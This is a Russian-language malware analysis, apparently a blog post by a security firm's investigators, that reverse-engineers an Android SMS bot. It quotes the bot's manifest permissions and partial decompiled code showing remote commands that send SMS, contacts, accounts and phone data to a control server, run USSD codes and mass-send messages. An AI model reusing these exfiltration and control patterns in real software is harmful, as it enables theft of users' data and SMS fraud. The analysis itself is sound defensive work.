Анализ sms-бота для Android. Часть II

в 20:43, , рубрики: pentestit, Блог компании PentestIT, информационная безопасность, реверс-инжиниринг

Анализ sms-бота для Android. Часть II

Анализ sms бота для Android. Часть II

Вступление

Еще один бот под Android, рассылаемый по «красивым» номерам вида 8***1112233 и т.д. Смской приходит ссылка вида: «Посмотрите, что о Вас известно или Информация для владельца и т.д. названиесайта.ру/8***1112233»

Процесс вскрытия Android-приложений:

  • Скачиваем APK-файл;
  • Извлекаем файл манифеста;
  • Декомпилируем приложение в читаемый исходный или байт-код;
  • Анализируем манифест и код.
Джентльменский набор инструментов:

  • Apktool – Используем для того чтобы вытащить манифест и ресурсы;
  • Dex2jar – Декомпилируем APK-файл в байт-код;
  • Jd-gui – Байт-код переводим в читабельный код.

Читаем манифест

В манифесте сразу бросаются в глаза следующие строчки кода:
<receiver android:name=".IncomingSmsReceiver" android:exported="true">

</receiver>
<receiver android:name=".OnReboot" android:permission="android.permission.RECEIVE_BOOT_COMPLETED" android:enabled="true">
….
</receiver>
<receiver android:name=".AdminReceiver" android:permission="android.permission.BIND_DEVICE_ADMIN">

</receiver>
<receiver android:name=".RunService$Alarm" android:exported="true">

</receiver>
<service android:name=".RunService" />

Из среза манифеста становится понятно что собирается делать бот:

  • Получать и обрабатывать все входящие СМС;
  • Будет что-то выполнять при перезагрузке устройства;
  • Попытается получить права администратора устройства;
  • И запускает какой-то сервис. Скорее всего этот сервис будет ждать поступления новых команд (например, управляющего сервера);

Далее, по манифесту:
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.WRITE_SMS" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.INTERNET" />

Невооруженным глазом видно, что наш бот хочет получить разрешения на:

  • Запуск после ребута;
  • Получение аккаунтов;
  • Получение/отправку/написание/чтение СМС-ок;
  • Получение состояния телефона;
  • Интернет;

Итак, уже примерно проясняются намерения бота.

Mainactivity.java

Теперь переходим к анализу классов. Их у нашего бота 17 штук.
После анализа каждого из них я пришел к выводу самые основные, то есть заслуживающие внимание, из них следующие:

  • MainActivity.java;
  • Runservice.java;
  • IncomingSmsReceiver.java;
  • HandlerCMD.java;

В выше указанных классах сосредоточена основная логика бота, остальные классы – вспомогательные.

Посмотрим, что есть в классе MainActivity.
В ниже указанном, коде бот пытается получить права Админа:
this.devicePolicyManager = ((DevicePolicyManager)getSystemService("device_policy"));
if (!this.devicePolicyManager.isAdminActive(this.adminReceiver))
{
GetAdministrator localGetAdministrator = new GetAdministrator();
localGetAdministrator.execute(new Void[0]);
return;
}

Далее, при закрытии программы он попытается запустить класс сервиса(о нем поговорим чуть ниже):
Class localClass = Class.forName("com.driver.android.system.RunService");
Intent localIntent = new Intent(this, localClass);
startService(localIntent);

RunService.java

Из названия данного класса становится понятно, что он делает. Да, он запускает сервис, который:

  • проверяет свой статус;
  • получает команды от управляющего сервера и запускает обрабатывающий хэндлер;
  • проверяет исходящие СМС каждые 60 секунд;
  • блокирует звонки номеров, которые занесены в черный список бота;
  • отправляет на сервер все исходящие СМС-ки.
IncomingSmsReceiver.java

Данный класс используется как BroadcastReceiver. Из названия понятно, что данный класс нужен для получения входящих СМС-ок и отправки их содержимого на сервер. Вот подтверждающий срез кода:
localHashMap.put("addmsg",
localStringBuffer3.append(localStringBuffer4.append(localStringBuffer5.append(localStringBuffer6.append(localStringBuffer7.append("-->nОтправитель: ").append(str1).toString()).append("nТекст сообщения: ").toString()).append(str2).toString()).append("nДата: ").toString()).append(str5).toString() + "n-->nn");

SendNewSMS localSendNewSMS = new SendNewSMS(paramContext);
localSendNewSMS.execute(new HashMap[] { localHashMap });

HandlerCMD.java

По моему мнению, это самый интересный класс. Тут явно можно увидеть все функции которые выполняет бот. Данный класс тесно взаимодействует с классом Command.java, в котором расписаны действия каждой из команд. Управляющий сервер отправляет команды в виде массива строк. Хэндлер его обрабатывает и проверяет первый элемент массива paramArrayOfString[0] на наличие значения от «1» до «16». А теперь давайте пройдемся по каждой функции.

При получении «1» отправка СМС на определенный номер
if (str1.equals("1") == true)
{
Commands localCommands1 = new Commands(this.context);
localCommands1.smska(paramArrayOfString);
}

Установка нового IP-адреса сети
if (str1.equals("2") == true)
{

localCommands2.newIp(paramArrayOfString[1].trim());
… }

Проверить на права админа и отправить результат на сервер
if (str1.equals("3") == true)
{

if (localCommands3.getAdministrator()) {}

localSendPostData1.execute("http://" + this.server_ip, localHashMap1);
… }

Отправка на сервер всех онлайн аккаунтов пользователя
if (str1.equals("4") == true)
{...
String str4 = localCommands4.getAllAccounts();

localSendPostData2.execute("http://" + this.server_ip, localHashMap2);
… }

Отправка на сервер список установленных приложений
if (str1.equals("5") == true)
{

String str5 = localCommands5.getInstallApps();

localSendPostData3.execute("http://" + this.server_ip, localHashMap3);
… }

Очистка «черного списка»
if (str1.equals("6") == true)
{ …
localCommands6.clearBL();
… }

Получить от сервера текст СМС-ки и разослать абонентам из локальной адресной книги
if (str1.equals("7") == true)
{ …
localCommands7.deliveryPhoneBook(paramArrayOfString);
… }

Разослать СМС-ки по списку номеров полученных от сервера
if (str1.equals("8") == true)
{ …
localCommands8.deliveryFromBase(paramArrayOfString);
… }

Получить все номера абонентов и отправить на сервер
if (str1.equals("9") == true)
{
PhoneBook localPhoneBook = new PhoneBook(this.context);
ArrayList localArrayList = localPhoneBook.getNumbers();

localSendPostData4.execute("http://" + this.server_ip, localHashMap4);
… }

Отправить на сервер информацию о операторе сотовой связи
if (str1.equals("10") == true)
{ …
String str7 = localCommands9.getProvider();

localSendPostData5.execute("http://" + this.server_ip, localHashMap5);
… }

Отправить на сервер версии приложений
if (str1.equals("11") == true)
{ …
String str8 = localCommands10.getVersionApp();

localSendPostData6.execute("http://" + this.server_ip, localHashMap6);
… }

Отправить версию Андроида
if (str1.equals("12") == true)
{ …
String str9 = localCommands11.getVersionOS();

localSendPostData7.execute("http://" + this.server_ip, localHashMap7);
… }

Отправить код страны
if (str1.equals("13") == true)
{ …
String str10 = localCommands12.getCountry();

localSendPostData8.execute("http://" + this.server_ip, localHashMap8);
… }

Отправить номер телефона устройства
if (str1.equals("14") == true)
{ …
String str11 = localCommands13.getPhoneNumber();

localSendPostData9.execute("http://" + this.server_ip, localHashMap9);
… }

Получение от сервера и исполнение, а также отправка результата выполнения USSD-сообщений
if (str1.equals("15") == true)
{ …
localCommands14.USSD(paramArrayOfString);
… }

Удаление приложения в теневом режиме
if (str1.equals("16") == true)
{
Commands localCommands15 = new Commands(this.context);
localCommands15.uninstallApp(paramArrayOfString);
return;
}

Выводы

Подведем итоги анализа. Бот написан более грамотно, в отличии от предыдущего. Но так же есть огрехи в защите кода. Никакой обфускации и шифрования. Благодаря чему удалось увидеть в коде IP адреса сервера, на который бот отправляет и получает данные.

Набиев Нурлан, отдел расследования киберпреступлений, PentestIT, Казахстан

Автор: pentestit-team

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js